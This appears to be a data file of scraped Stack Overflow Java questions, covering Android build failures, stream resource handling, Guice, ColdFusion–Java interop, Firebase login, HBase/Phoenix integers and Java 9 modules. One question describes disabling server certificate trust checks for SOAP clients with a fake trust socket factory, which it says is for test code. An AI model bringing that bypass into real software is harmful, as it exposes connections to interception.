Include your program and the following diagnostic in your report . Thank you . com.sun.tools.javac.code.Symbol $ CompletionFailure : class file for java.lang.invoke.MethodType not found : app : compileDebugJavaWithJavac FAILED FAILURE : Build failed with an exception . What went wrong : Execution failed for task ' : app : compileDebugJavaWithJavac ' . Compilation failed ; see the compiler error output for details . Try : Run with -- stacktrace option to get the stack trace . Run with -- info or -- debug option to get more log output . BUILD FAILEDRxDefer.javaRxDeferTest.javabuild.gradle","import rx.Observable ; import rx.Subscriber ; class RxDefer { private Observable < Integer > getInt ( ) { return Observable.create ( new Observable.OnSubscribe < Integer > ( ) { @ Override public void call ( Subscriber < ? super Integer > aSubscriber ) { if ( aSubscriber.isUnsubscribed ( ) ) return ; aSubscriber.onNext ( 42 ) ; aSubscriber.onCompleted ( ) ; } } ) ; } void createDefer ( ) { Observable.defer ( RxDefer.this : :getInt ) .subscribe ( aInteger - > { System.out.println ( String.valueOf ( aInteger ) ) ; } ) ; } } @ RunWith ( PowerMockRunner.class ) @ PrepareForTest ( RxDefer.class ) public class RxDeferTest { @ Test public void createDefer ( ) { RxDefer defer = new RxDefer ( ) ; defer.createDefer ( ) ; } } apply plugin : 'com.android.application'android { ... compileOptions { sourceCompatibility JavaVersion.VERSION_1_8 targetCompatibility JavaVersion.VERSION_1_8 } } dependencies { ... testCompile ( 'junit : junit:4.12 ' , 'org.robolectric : robolectric:3.0 ' , 'org.powermock : powermock-module-junit4:1.6.4 ' , 'org.powermock : powermock-module-junit4-rule:1.6.4 ' , 'org.powermock : powermock-api-mockito:1.6.4 ' , 'org.powermock : powermock-classloading-xstream:1.6.4 ' ) }",Unit Testing method failing which contains lambda expression Android Studio +Java,"Today I tried to refactor this code , that reads ids from files in a directory , using stream apiThen I found that IO streams will not be closed and I do n't see a simple way to close them , because they are created inside the pipeline.Any ideas ? upd : FileSystem in example is HDFS , Files # lines and similar methods ca n't be used .",Set < Long > ids = new HashSet < > ( ) ; for ( String fileName : fileSystem.list ( `` my-directory '' ) ) { InputStream stream = fileSystem.openInputStream ( fileName ) ; BufferedReader br = new BufferedReader ( new InputStreamReader ( stream ) ) ; String line ; while ( ( line = br.readLine ( ) ) ! = null ) { ids.add ( Long.valueOf ( line.trim ( ) ) ) ; } br.close ( ) ; } Set < Long > ids = fileSystem.list ( `` my-directory '' ) .stream ( ) .map ( fileName - > fileSystem : :openInputStream ) .map ( is - > new BufferedReader ( new InputStreamReader ( is ) ) ) .flatMap ( BufferedReader : :lines ) .map ( String : :trim ) .map ( Long : :valueOf ) .collect ( Collectors.toSet ( ) ) ;,Using AutoClosable interfaces inside Stream API +Java,"For instance , RESTEasy 's ResteasyWebTarget class has a method proxy ( Class < T > clazz ) , just like Injector 's getInstance ( Class < T > clazz ) . Is there a way to tell Guice that creation of some classes should be delegated to some instance ? My goal is the following behavior of Guice : when the injector is asked for a new instance of class A , try to instantiate it ; if instantiation is impossible , ask another object ( e. g. ResteasyWebTarget instance ) to instantiate the class.I 'd like to write a module like this : instead ofI 've thought about implementing Injector interface and use that implementation as a child injector , but the interface has too much methods.I can write a method enumerating all annotated interfaces in some package and telling Guice to use provider for them , but that 's the backup approach .",@ Overrideprotected void configure ( ) { String apiUrl = `` https : //api.example.com '' ; Client client = new ResteasyClientBuilder ( ) .build ( ) ; target = ( ResteasyWebTarget ) client.target ( apiUrl ) ; onFailureToInstantiateClass ( Matchers.annotatedWith ( @ Path.class ) ) .delegateTo ( target ) ; } @ Overrideprotected void configure ( ) { String apiUrl = `` https : //api.example.com '' ; Client client = new ResteasyClientBuilder ( ) .build ( ) ; target = ( ResteasyWebTarget ) client.target ( apiUrl ) ; bind ( Service1.class ) .toProvider ( ( ) - > target.proxy ( Service1.class ) ; bind ( Service2.class ) .toProvider ( ( ) - > target.proxy ( Service2.class ) ; bind ( Service3.class ) .toProvider ( ( ) - > target.proxy ( Service3.class ) ; },How to delegate creation of some classes from Guice injector to another factory ? +Java,"I 'm trying to make some bit operations in Java for applying masks , represent sets etc.Why : Prints a `` 0 '' when is supposed to be `` 3 '' : And how can I get that behavior ? Thanks in advance",int one=1 ; int two=2 ; int andop=1 & 2 ; System.out.println ( andop ) ; 0 ... 0010 ... 010_______0 ... 011,Bit level operations in Java +Java,"How can I resolve my class from a different jar with same structure like another Note : Though the jars in question contains the word selenium but the question here have no direct relation with seleniumTill a few days back PhantomJSDriver was released bundled along with selenium-server-standalone-v.v.v.jar . So my Class was working fine as : Now selenium-server-standalone-v.v.v.jar does n't bundles the jar for PhantomJSDriver dependency.So I have downloaded the jar phantomjsdriver-1.1.0.jar and added as an external jar to my project.You can see the structure of the phantomjsdriver-1.1.0.jar is similar to what it was earlier when it was bundled with selenium-server-standalone-v.v.v.jarNow , though my Class gets resolved through : But I am facing a Runtime exception of java.lang.NoClassDefFoundError as follows : Line 15 being : As per the error I have searched for org.openqa.selenium.browserlaunchers.Proxies within the phantomjsdriver-1.1.0.jar unable to find any clue.Can anyone help me out please ?","import java.io.File ; import org.openqa.selenium.WebDriver ; import org.openqa.selenium.phantomjs.PhantomJSDriver ; public class A_PhantomJS { public static void main ( String [ ] args ) { File path=new File ( `` C : \\Utility\\phantomjs-2.1.1-windows\\bin\\phantomjs.exe '' ) ; System.setProperty ( `` phantomjs.binary.path '' , path.getAbsolutePath ( ) ) ; WebDriver driver= new PhantomJSDriver ( ) ; driver.manage ( ) .window ( ) .maximize ( ) ; driver.get ( `` https : //www.google.co.in '' ) ; } } import org.openqa.selenium.phantomjs.PhantomJSDriver ; Exception in thread `` main '' java.lang.NoClassDefFoundError : org/openqa/selenium/browserlaunchers/Proxies at org.openqa.selenium.phantomjs.PhantomJSDriverService.createDefaultService ( PhantomJSDriverService.java:178 ) at org.openqa.selenium.phantomjs.PhantomJSDriver. < init > ( PhantomJSDriver.java:99 ) at org.openqa.selenium.phantomjs.PhantomJSDriver. < init > ( PhantomJSDriver.java:89 ) at demo.A_PhantomJS.main ( A_PhantomJS.java:15 ) Caused by : java.lang.ClassNotFoundException : org.openqa.selenium.browserlaunchers.Proxies at java.net.URLClassLoader.findClass ( Unknown Source ) at java.lang.ClassLoader.loadClass ( Unknown Source ) at sun.misc.Launcher $ AppClassLoader.loadClass ( Unknown Source ) at java.lang.ClassLoader.loadClass ( Unknown Source ) ... 4 more WebDriver driver= new PhantomJSDriver ( ) ;",How can I resolve my class from a different jar with same structure like another +Java,"This is a continuation of this question : WCF and ColdFusionSo I managed to get a JAR working using Metro and importing the WSDL . My main class has the following functions : getVersion ( ) and my implementation myVersion ( ) , cancelOrder ( ) and myCancel ( ) and , finally , placeOrder and myOrder ( ) .I 'm able to pass the correct information and get a response back from the webservices for the first 2 methods ( getVersion and cancelOrder ) : For example , in the myVersion method , it calls the webservice and outputs the version number plus the passed string : Using the same template , I can also pass all of the other parameters in the myOrder method except the last parameter of type org.tempuri.ArrayOfSmartOrderLineRequest.This is where I 'm not confident and may need guidance : In going through documentation and the generated classes , I 'll put what is in documentation in block quotes and how I understand them underneath.myOrder is supposed to take all of the parameters passed in through ColdFusion and put it into a request object.That last line , JavaCast ( `` org.tempuri.ArrayOfSmartOrderLineRequest '' , orderItems ) is my issue . I get a JavaCast type org.tempuri.ArrayOfSmartOrderLineRequest must be one of the following types : byte , char , short , int , long , float , double , boolean , string , bigdecimal , their corresponding array representation ( eg : int [ ] ) , or null.error , which makes sense . If I make it into null , nothing gets passed into the SoapMessage.My question is this : How do I pass that final parameter ? orderItems is a CF variable , which is , I believe , referenced to a Java Object.Working backwards , ArrayOfSmartOrderLineRequest.java has a single method getSmartOrderLineRequest . According to the notes in the generated java file : This accessor method returns a reference to the live list , not a snapshot . Therefore any modification you make to the returned list will be present inside the JAXB object . This is why there is not a set method for the smartOrderLineRequest property . It continues on to : For example , to add a new item , do as follows : getSmartOrderLineRequest ( ) .add ( newItem ) ; I take this to mean that I have to create a newItem object and pass that into the add method of getSmartOrderLineRequest , correct ? So , in building the newItem object , I created the myItem variable , which has three properties : PLU , PluSalesProgramId and Quantity.In my head , I am creating a myItem object in CF , which is being held in Java , then telling the Java method getSmartOrderLineRequest `` Hey , ADD myItem to your array . `` Any help would be greatly appreciated . I feel like I 'm almost there , but I do n't know in which direction I should head.Edit 1 : Response to Leigh 's comments.Not a silly question as to what happens when I just passed the object by itself . I recreated the following steps and I 'm getting a weird error : At first , I tried the following : I tried with the following code , and it did n't error : I passed it along using : Below is the shell of the ArrayOfSmartOrderLineRequest.java : Below is the definition of the object from the WSDL : Edit 2 : Taking Leigh 's adviceUsing the Psuedo-Code as a template , I took it one step at a time.1 ) Create the items that will need to be passed.A cfdump of myItem reveals the following methods : According to the documentation , the order of the parameters are PluSalesProgramId , PLU , Quantity.2 ) Add the information to the items.Skipped this step . *3 ) Add items to a CF array.The dump of itemArray is as follows : So far so good.4 ) Next , add reference to myItem to ArrayOfSmartOrderLineRequest.5 ) Finally , orderItems to the myOrder method : Yay ! That worked ! I 'll have to go through the code to make sure everything was done properly , but looking through the logs , it looks like the SOAP message was sent out properly and and expected error of PLU not found was returned.Leigh , if you put a something in as an answer , I 'll accept it as the answer when I get back into the office .","< cfset var.myVersion = createObject ( `` java '' , `` com.USOrlando '' ) .myVersion ( javaCast ( `` string '' , `` Batman '' ) ) > < ! -- -Output is [ version number ] + `` I 'm Batman '' -- - > < cfset var.01_00_myOrder = createObject ( `` java '' , `` com.USOrlando '' ) .myOrder ( JavaCast ( `` String '' , ExternalOrderId ) , JavaCast ( `` int '' , CustomerID ) , . . . JavaCast ( `` String '' , Phone ) , JavaCast ( `` String '' , Email ) , JavaCast ( `` org.tempuri.ArrayOfSmartOrderLineRequest '' , orderItems ) ) > < ! -- -Create Items -- - > < cfset myItem = createObject ( `` java '' , `` org.tempuri.SmartOrderLineRequest '' ) > < cfset myItem.PluSalesProgramId = myItem.setPLU ( 1 ) > < cfset myItem.PLU = myItem.setPLU ( `` 123456 '' ) > < cfset myItem.Quantity = myItem.setPLU ( 1 ) > < ! -- -Add Item -- - > < cfset orderItems = createObject ( `` java '' , `` org.tempuri.ArrayOfSmartOrderLineRequest '' ) .getSmartOrderLineRequest ( ) .add ( myItem ) > < ! -- -Create Items -- - > < cfset myItem = createObject ( `` java '' , `` org.tempuri.SmartOrderLineRequest '' ) > < cfset myItem.PluSalesProgramId = myItem.PluSalesProgramId ( JavaCast ( `` int '' , `` 1 '' ) ) > < cfset myItem.PLU = myItem.setPLU ( JavaCast ( `` string '' , `` 123456 '' ) ) > < cfset myItem.Quantity = myItem.setPLU ( JavaCast ( `` int '' , `` 1 '' ) ) > < ! -- -Add Item -- - > < cfset orderItems = createObject ( `` java '' , `` org.tempuri.ArrayOfSmartOrderLineRequest '' ) .getSmartOrderLineRequest ( ) .add ( myItem ) > < ! -- -Errors out on myItem.Quantity -- - > < ! -- -Create Items -- - > < cfset myItem = createObject ( `` java '' , `` org.tempuri.SmartOrderLineRequest '' ) > < cfset myItem.PLU = myItem.setPLU ( JavaCast ( `` string '' , `` 123456 '' ) ) > < ! -- -Add Item -- - > < cfset orderItems = createObject ( `` java '' , `` org.tempuri.ArrayOfSmartOrderLineRequest '' ) .getSmartOrderLineRequest ( ) .add ( myItem ) > < ! -- -Errors out on myItem.Quantity -- - > < cfset var.01_00_myOrder = createObject ( `` java '' , `` com.USOrlando '' ) .myOrder ( JavaCast ( `` String '' , ExternalOrderId ) , JavaCast ( `` int '' , CustomerID ) , . . . JavaCast ( `` String '' , Phone ) , JavaCast ( `` String '' , Email ) , orderItems ) > < ! -- -Returned Method Not Found error -- - > public class ArrayOfSmartOrderLineRequest { @ XmlElement ( name = `` SmartOrderLineRequest '' , nillable = true ) protected List < SmartOrderLineRequest > smartOrderLineRequest ; public List < SmartOrderLineRequest > getSmartOrderLineRequest ( ) { if ( smartOrderLineRequest == null ) { smartOrderLineRequest = new ArrayList < SmartOrderLineRequest > ( ) ; } return this.smartOrderLineRequest ; } } < xs : complexType name= '' ArrayOfSmartOrderLineRequest '' > < xs : sequence > < xs : element minOccurs= '' 0 '' maxOccurs= '' unbounded '' name= '' SmartOrderLineRequest '' nillable= '' true '' type= '' tns : SmartOrderLineRequest '' / > < /xs : sequence > < /xs : complexType > < xs : complexType name= '' SmartOrderLineRequest '' > < xs : sequence > < xs : element minOccurs= '' 1 '' maxOccurs= '' 1 '' name= '' PluSalesProgramId '' nillable= '' true '' type= '' xs : int '' / > < xs : element minOccurs= '' 0 '' maxOccurs= '' 1 '' name= '' PLU '' type= '' xs : string '' / > < xs : element minOccurs= '' 1 '' maxOccurs= '' 1 '' name= '' Quantity '' type= '' xs : int '' / > < /xs : sequence > < /xs : complexType > < cfset myItem = createObject ( `` java '' , `` org.tempuri.SmartOrderLineRequest '' ) > < cfset myItem.setPluSalesProgramId ( JavaCast ( `` int '' , `` 1 '' ) ) > < cfset myItem.setPLU ( JavaCast ( `` string '' , `` 123456 '' ) ) > < cfset myItem.setQuantity ( JavaCast ( `` int '' , `` 1 '' ) ) > < cfset itemArray = newArray ( 1 ) > < cfset arrayAppend ( itemArray , myItem ) > < cfset orderItems = createObject ( `` java '' , `` org.tempuri.ArrayOfSmartOrderLineRequest '' ) > < cfset orderItems.getSmartOrderLineRequest ( ) .add ( myItem ) > < cfset var.01_00_myOrder = createObject ( `` java '' , `` com.USOrlando '' ) .myOrder ( JavaCast ( `` String '' , ExternalOrderId ) , JavaCast ( `` int '' , CustomerID ) , . . . JavaCast ( `` String '' , Phone ) , JavaCast ( `` String '' , Email ) , orderItems ) >",Passing Java Object in ColdFusion +Java,"I wanted to try and keep my native android firebase development to minimum so as to when I 'm ready to port to IOS/web I wo n't be doing a lot there.Right now firebase 's Javascript does n't allow google login from Android , this can be taken care of from the plugin . But what I 'm stuck on is how to initialize firebase based on the Java Android Google login.So this is what I 'm trying to achieve : Cordova calls Java-Android-Native login into google -- - > based on this , how would I initialize firebase ? This plugin can let me login into google natively : https : //www.npmjs.com/package/cordova-plugin-googleplusBut I guess I need auth token ? token ID ? Can this give me the above required toke ? https : //developers.google.com/identity/sign-in/android/sign-inUpdate 1 : Just want to share more information . When getting the user logged in through google on android I have the below objecthttps : //developers.google.com/android/reference/com/google/android/gms/auth/api/signin/GoogleSignInAccountIt has public String getIdToken ( ) & public String getServerAuthCode ( ) why ca n't these be used to authenticate firebase using JS ? Update 2 : Answer provided by Faraz seems to be working . Here is reference for the function signInWithCredential https : //firebase.google.com/docs/reference/js/firebase.auth.Auth # signInWithCredentialThank you for your help .",firebase.auth ( ) .signInWithCredential ( credential ) .catch ( function ( error ) { } else { console.error ( error ) ; } } ) ; GoogleSignInResult result = Auth.GoogleSignInApi.getSignInResultFromIntent ( data ) ; GoogleSignInAccount,How to initialize firebase after android google login ? +Java,"Just trying to understand auto-boxing , which I do apart from one thing : The assignment to Long l fails . This , I expect , is because you can not widen then box ( i.e . it tries to widen the int value 250 to a long and then box it which it can not do ) .However , the assignment to Short s works . What is going on to make this fine ? My assumption was it is still doing boxing and some kind of conversion . But if it 's a case of it knowing 250 fits into a short , why does it not know that 250 will fit into a long ?",Short s = 250 ; Long l = 250 ;,Wrapper classes - why integer literals fail for Long but work for anything smaller +Java,I am creating a HBASE table with a value of integer -17678 . But when i retrieve it from pheonix it gives me a different positive value . RowKey is a composite rowkey and there is no problem with rowkey.Hbase insertion : Phoenix retrieval : select CAST ( `` Value '' AS INTEGER ) from TEST ; Anything wrong here ? or a phoenix issue ?,"public class test { public static void main ( String args [ ] ) { Configuration config = HBaseConfiguration.create ( ) ; Connection connection = ConnectionFactory.createConnection ( config ) ; Table table = connection.getTable ( TableName.valueOf ( `` TEST '' ) ) ; Integer i=-17678 ; try { Put p = new Put ( Bytes.toBytes ( `` rowkey '' ) ) ; p.addColumn ( Bytes.toBytes ( `` test '' ) , Bytes.toBytes ( `` test '' ) , Bytes.toBytes ( i ) ) ; table.put ( p ) ; } finally { table.close ( ) ; connection.close ( ) ; } } } + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- +| TO_INTEGER ( test . `` Value '' ) | + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- +| 2147465970 | + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- +",Phoenix does n't display negative integer values correctly +Java,"Here 's an example : Since isInstance accepts an Object , it wo n't work with int , because int is a primitive type and gets autoboxed to Integer.So is it at all possible to write a generic check method ? Or should I make sure thatclazz is of type Class < ? extends Object > ?","public boolean check ( Class < ? > clazz , Object o ) { return clazz.isInstance ( o ) ; } check ( int.class , 7 ) ; // returns false",Is int.class.isInstance ( Object ) a contradiction ? +Java,"I 'm trying to implement a linked collection using generics , something like the following.A is the collection and B an element or node in the collection with an array referencing successors/predecessors and an item.The array creation is not allowed . The error I get is generic array creation . Am I right to think that what it 's actually creating is an array of A < E > .B ? If not , what 's causing the error ? If so , how can I get around this ? I have obviously omitted a substantial amount of code , if what I 've provided is not enough please let me know . Any advice would be appreciated . Thank you.EDIT 1 : I should have mentioned that the parameterized type must be the same in A as in B . So passing < E > to the inner class is not possible , as it creates E # 2 and leaves A with E # 1 .",public class A < E > { private class B { private B [ ] b ; private E item ; private B ( ) { this.b = new B [ 2 ] ; } } // end inner class B } // end class A,Generic Array Creation Compilation Error From Inner Class +Java,"Java 8 has added three fences to sun.misc.Unsafe.I feel confused after I read their documentation.So , I searched the web , and found this link.According to the page above , I believe these methods add almost nothing in practice . Correct me if I 'm wrong , roughly speaking , loadFence ( ) , storeFence ( ) and fullFence ( ) correspond to volatile read , lazy write and volatile write respectively , although technically these fences are stronger than volatile variables . So loadFence ( ) is an acquire fence , and storeFence ( ) is a release fence , and fullFence ( ) is full fence.But then the documentation for storeFence ( ) looks strange.It says , That does n't look like a release fence . How is it supposed to be used ? Should n't it beI assume before means earlier and after means later.EDITI do n't mean `` we do n't use them in usual development '' when I say these `` fences add nothing in practice '' .I mean , even without these methods in Unsafe , we can get these `` fences '' . If I am correct , in practice , reading a dummy volatile has the effect of loadFence ( ) , and writing a dummy volatile has the effect of fullFence ( ) , and unsafe.putOrderedXXX ( ) ( or AtomicInteger.lazySet ( ) ) has the effect of storeFence ( ) .They may have subtle difference , but in current implementation , they are exchangeable . ( Seems implied by the link ) That is what I mean by `` they add nothing new '' .ANOTHER EDITThis is already fixed.See https : //bugs.openjdk.java.net/browse/JDK-8038978Thanks @ john-vint",/** * Ensures lack of reordering of stores before the fence * with loads or stores after the fence . */void storeFence ( ) ; /** * Ensures lack of reordering of loads or stores before the fence * with stores after the fence . */void storeFence ( ) ;,Java Unsafe.storeFence ( ) documentation wrong ? +Java,"When I generate webservice client stubs using Apache Axis , I disable the server certificate trust check in my code using the client stubs by calling the following methodHow do I disable the trust check with client stubs that were generated by running wsimport ? I use this when I am running some test code .","AxisProperties.setProperty ( `` axis.socketSecureFactory '' , `` org.apache.axis.components.net.SunFakeTrustSocketFactory '' ) ;",Equivalent of org.apache.axis.components.net.SunFakeTrustSocketFactory for wsimport +Java,"I have searched for the answer to this , but can not seem to find one . Can someone explain why the following code does not give me the 1 of each month , but jumps to the 31 for some months ? It is for a report event that needs to determine the next month 's date.The output is : Notice how it jumps to 31 , then back to 1 . If I use Calendar.set ( ) instead , the output is correct : This seems like it is either 1 ) A bug with the Calendar API , or 2 ) a lack of understanding of how the Calendar API works . In either case , I just want the next month ( same day ) , unless of course there is a problem with certain months and days . But the above scenario is puzzling me . This does not happen with any other day of the month , only with the 1st .","DateFormat formatter = new SimpleDateFormat ( `` dd-MMM-yy '' ) ; Calendar cal = Calendar.getInstance ( TimeZone .getTimeZone ( `` America/Los_Angeles '' ) ) ; DateFormat formatter = new SimpleDateFormat ( `` dd-MMM-yy '' ) ; Date date ; try { date = ( Date ) formatter.parse ( `` 01-JUN-12 '' ) ; cal.setTime ( date ) ; //cal.set ( 2012 , 05 , 01 ) ; long now = new Date ( ) .getTime ( ) ; int frequency = 1 ; System.out.println ( `` Current calendar time= '' + cal.getTime ( ) .toString ( ) ) ; while ( cal.getTime ( ) .getTime ( ) < now ) { cal.add ( Calendar.MONTH , frequency ) ; System.out.println ( `` In loop - current calendar time= '' + cal.getTime ( ) .toString ( ) ) ; } } catch ( ParseException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } Current calendar time=Fri Jun 01 00:00:00 EDT 2012In loop - current calendar time=Sun Jul 01 00:00:00 EDT 2012In loop - current calendar time=Tue Jul 31 00:00:00 EDT 2012In loop - current calendar time=Fri Aug 31 00:00:00 EDT 2012In loop - current calendar time=Mon Oct 01 00:00:00 EDT 2012In loop - current calendar time=Wed Oct 31 00:00:00 EDT 2012 Current calendar time=Fri Jun 01 15:14:26 EDT 2012In loop - current calendar time=Sun Jul 01 15:14:26 EDT 2012In loop - current calendar time=Wed Aug 01 15:14:26 EDT 2012In loop - current calendar time=Sat Sep 01 15:14:26 EDT 2012In loop - current calendar time=Mon Oct 01 15:14:26 EDT 2012In loop - current calendar time=Thu Nov 01 15:14:26 EDT 2012",Java Calendar inconsistent results +Java,"I have a Java webstart application , fully signed , and it has been deployed live for over a year now . We have never been able to get it to work with Safari for some reason . Actually , I have not been able to get any JAWS application working with Safari.Internet searches are spotty and I can ’ t seem to nail down why Safari has issues with web start.EDITHere is the java stack trace from the Java console in Safari . Please understand that the Java Web Start application works correctly without any issues in Firefox , IE , Chrome , etc .",Java Plug-in 1.6.0_29Using JRE version 1.6.0_29-b11 Java HotSpot ( TM ) Client VMUser home directory = C : \Users\strings -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- c : clear console windowf : finalize objects on finalization queueg : garbage collecth : display this help messagel : dump classloader listm : print memory usageo : trigger loggingp : reload proxy configurationq : hide consoler : reload policy configurations : dump system and deployment propertiest : dump thread listv : dump thread stackx : clear classloader cache0-5 : set trace level to -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- load : class com.novel.tech1.client.JAWSApplication not found.java.lang.ClassNotFoundException : com.novel.tech1.client.JAWSApplication at sun.applet.AppletClassLoader.findClass ( Unknown Source ) at java.lang.ClassLoader.loadClass ( Unknown Source ) at sun.applet.AppletClassLoader.loadClass ( Unknown Source ) at java.lang.ClassLoader.loadClass ( Unknown Source ) at sun.applet.AppletClassLoader.loadCode ( Unknown Source ) at sun.applet.AppletPanel.createApplet ( Unknown Source ) at sun.plugin.AppletViewer.createApplet ( Unknown Source ) at sun.applet.AppletPanel.runLoader ( Unknown Source ) at sun.applet.AppletPanel.run ( Unknown Source ) at java.lang.Thread.run ( Unknown Source ),Issues with Java Web Start and Safari +Java,"I 'm using the Spring Akka example posted on activator to create Spring managed bean actors . This is the code I 'm currently using including a demo class : Now my question is , how do instantiate an actor with custom constructor arguments . I have thought about using a factory or setter methods but I do n't think this is an option since the underlying Actor class is not accessible I believe . Any input on this matter is greatly appreciated . If something is now clear , please post a comment . PS . If you believe my there is an error in my code or there is a better way of going about it , please do tell me ! I have little experience with Spring and Akka combined so any advice is appreciated .","@ Componentclass Test extends UntypedActor { @ Autowired protected ObjectMapper objectMapper ; protected final Account account ; protected final Order order ; public Test ( Account account , Order order ) { this.account = account ; this.order = order ; } @ Override public void onReceive ( Object message ) throws Exception { if ( message instanceof SomeCommand ) { // Do something using the order and the account ; } else if ( message instanceof FooCommand ) { // More stuff } } } @ Componentpublic class SpringExtension extends AbstractExtensionId < SpringExtensionImpl > implements ExtensionIdProvider { @ Autowired private ApplicationContext applicationContext ; @ Override public SpringExtensionImpl createExtension ( ExtendedActorSystem system ) { return applicationContext.getBean ( SpringExtensionImpl.class ) ; } @ Override public ExtensionId < ? extends Extension > lookup ( ) { return applicationContext.getBean ( SpringExtension.class ) ; } } @ Componentpublic class SpringExtensionImpl implements Extension { @ Autowired private ApplicationContext applicationContext ; public Props props ( String actorBeanName ) { return Props.create ( SpringActorProducer.class , applicationContext , actorBeanName ) ; } } public class SpringActorProducer implements IndirectActorProducer { private final ApplicationContext applicationContext ; private final String actorBeanName ; public SpringActorProducer ( ApplicationContext applicationContext , String actorBeanName ) { this.applicationContext = applicationContext ; this.actorBeanName = actorBeanName ; } @ Override public Actor produce ( ) { return ( Actor ) applicationContext.getBean ( actorBeanName ) ; } @ Override public Class < ? extends Actor > actorClass ( ) { return ( Class < ? extends Actor > ) applicationContext.getType ( actorBeanName ) ; } }",Custom Spring Bean Parameters +Java,I have a string likeI need a regex to give me the following output : I have triedbut this gives,String string = `` number0 foobar number1 foofoo number2 bar bar bar bar number3 foobar '' ; number0 foobarnumber1 foofoonumber2 bar bar bar barnumber3 foobar Pattern pattern = Pattern.compile ( `` number\\d+ ( .* ) ( number\\d+ ) ? `` ) ; Matcher matcher = pattern.matcher ( string ) ; while ( matcher.find ( ) ) { System.out.println ( matcher.group ( ) ) ; } number0 foobar number1 foofoo number2 bar bar bar bar number3 foobar,java regex quantifiers +Java,"I want to be notified when my JPopupMenu is hidden — whether because an item was selected , the menu was dismissed , or setVisible ( false ) was called on it . Here is my test code : Regardless of how I interact with the menu , neither of the two ComponentListener methods are being called . Why is that ? Is there different/better/correct way of finding out when my JPopupMenu is hidden ? Thanks , Cameron","import javax.swing . * ; import java.awt . * ; import java.awt.event . * ; public class A extends ComponentAdapter implements Runnable , ActionListener { private JButton b ; public static void main ( String [ ] args ) { EventQueue.invokeLater ( new A ( ) ) ; } public void run ( ) { JFrame f = new JFrame ( `` Test '' ) ; b = new JButton ( `` Click me '' ) ; b.addActionListener ( this ) ; f.add ( b ) ; f.pack ( ) ; f.setVisible ( true ) ; } public void actionPerformed ( ActionEvent e ) { JPopupMenu pm = new JPopupMenu ( ) ; pm.addComponentListener ( this ) ; pm.add ( `` Popup ... '' ) ; pm.add ( `` ... menu ! `` ) ; pm.show ( b , 10 , 10 ) ; } public void componentShown ( ComponentEvent e ) { System.out.println ( `` componentShown '' ) ; } public void componentHidden ( ComponentEvent e ) { System.out.println ( `` componentHidden '' ) ; } }",Why is n't componentHidden called for my JPopupMenu ? +Java,"Is it safe to use Thread 's methods like setName / getName and some others from different threads ? API does not say anything , but judging by the source codeit seems that it may cause memory consistency errors .",private char name [ ] ; public final void setName ( String name ) { checkAccess ( ) ; this.name = name.toCharArray ( ) ; } public final String getName ( ) { return String.valueOf ( name ) ; },Are all Thread methods ( like getName/setName ) thread-safe ? +Java,"I want to add a node under a node using ObjectContentManager.I am able to add a single node using ObjectContentManager , usingNow under this node I want to add another node of Pojo2 class.I have written a code , but it is giving me exception.But this is giving me exception.How i can achieve this ? Thanks in advance .",Pojo1 p1 = new Pojo1 ( ) ; p1 .setPath ( `` /p1 '' ) ; p1 .setName ( `` p_3 '' ) ; p1 .insert ( p1 ) ; ocm.save ( ) ; Pojo2 p2 = new Pojo2 ( ) ; p2.setPath ( `` /p1/p2 '' ) ; p2.setName ( `` p_3 '' ) ; p2.insert ( p2 ) ; ocm.save ( ) ; org.apache.jackrabbit.ocm.exception.ObjectContentManagerException : Can not create new node of type nt : pojo1 from mapped class class com.sapient.Pojo1 ; nested exception is javax.jcr.nodetype.ConstraintViolationException : No child node definition for p2 found in node /p1,How i can add a node under a node using ObjectContentManager ? +Java,"I 'm trying to transform the following library into Java 9 module : https : //github.com/sskorol/test-data-supplierFollowed this guide : https : //guides.gradle.org/building-java-9-modulesAfter some manipulations and refactoring ( could n't manage lombok issues , so just temporary removed it ) , I have the following module-info.java : And it even compiles / builds in case of tests ' skipping.However , when I try to run a test task , I 'm getting the following exception : It seems a bit confusing to me , as io.github.sskorol.testcases is a part of src/test/java and there 's no module-info for tests . So I ca n't export this package to TestNG . Have an assumption that the root cause in a TestNG reflection usage within ObjectFactoryImpl against test classes.Does anyone have any idea how to workaround it ? Environment : JDK 9 ( build 9+181 ) , Gradle 4.1 , TestNG 6.11",module io.github.sskorol { exports io.github.sskorol.core ; exports io.github.sskorol.model ; requires testng ; requires vavr ; requires streamex ; requires joor ; requires aspectjrt ; } org.gradle.api.internal.tasks.testing.TestSuiteExecutionException : Could not complete execution for Gradle Test Executor 2. at org.gradle.api.internal.tasks.testing.SuiteTestClassProcessor.stop ( SuiteTestClassProcessor.java:63 ) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.base/java.lang.reflect.Method.invoke ( Method.java:564 ) at org.gradle.internal.dispatch.ReflectionDispatch.dispatch ( ReflectionDispatch.java:35 ) at org.gradle.internal.dispatch.ReflectionDispatch.dispatch ( ReflectionDispatch.java:24 ) at org.gradle.internal.dispatch.ContextClassLoaderDispatch.dispatch ( ContextClassLoaderDispatch.java:32 ) at org.gradle.internal.dispatch.ProxyDispatchAdapter $ DispatchingInvocationHandler.invoke ( ProxyDispatchAdapter.java:93 ) at com.sun.proxy. $ Proxy1.stop ( Unknown Source ) at org.gradle.api.internal.tasks.testing.worker.TestWorker.stop ( TestWorker.java:120 ) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.base/java.lang.reflect.Method.invoke ( Method.java:564 ) at org.gradle.internal.dispatch.ReflectionDispatch.dispatch ( ReflectionDispatch.java:35 ) at org.gradle.internal.dispatch.ReflectionDispatch.dispatch ( ReflectionDispatch.java:24 ) at org.gradle.internal.remote.internal.hub.MessageHubBackedObjectConnection $ 